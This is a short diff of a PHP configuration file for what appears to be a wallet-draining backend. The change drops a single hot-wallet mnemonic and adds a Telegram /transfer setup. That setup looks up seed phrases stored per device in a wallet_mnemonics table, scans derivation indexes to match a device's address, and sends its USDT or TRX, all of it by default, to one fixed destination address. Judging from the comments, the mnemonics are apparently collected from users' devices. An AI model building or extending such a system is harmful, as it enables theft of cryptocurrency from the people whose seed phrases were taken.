feature

server/config/coruna.php

@@ -25,20 +25,22 @@ return [
         'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
         'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
     ],
-    // Hot wallet mnemonic for Telegram /transfer only — never from device ingest.
-    'hot_wallet' => [
-        'mnemonic' => env('HOT_WALLET_MNEMONIC', ''),
-        'index' => (int) env('HOT_WALLET_INDEX', 0),
-    ],
     'tron' => [
         'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
         'api_key' => env('TRON_API_KEY', ''),
         'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
         'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
     ],
+    // /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS.
+    // Mnemonics resolved from wallet_mnemonics by address→device_id+source.
     'transfer' => [
+        'to_address' => env('TRANSFER_TO_ADDRESS', ''),
         'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
         'max_trx' => env('TRANSFER_MAX_TRX', '0'),
+        // BIP44 account index scan upper bound when matching fromAddress.
+        'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
+        // Leave this much TRX when transferring "all" native (bandwidth/energy fees).
+        'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
     ],
     // reserved legacy payout addresses
     'payout' => [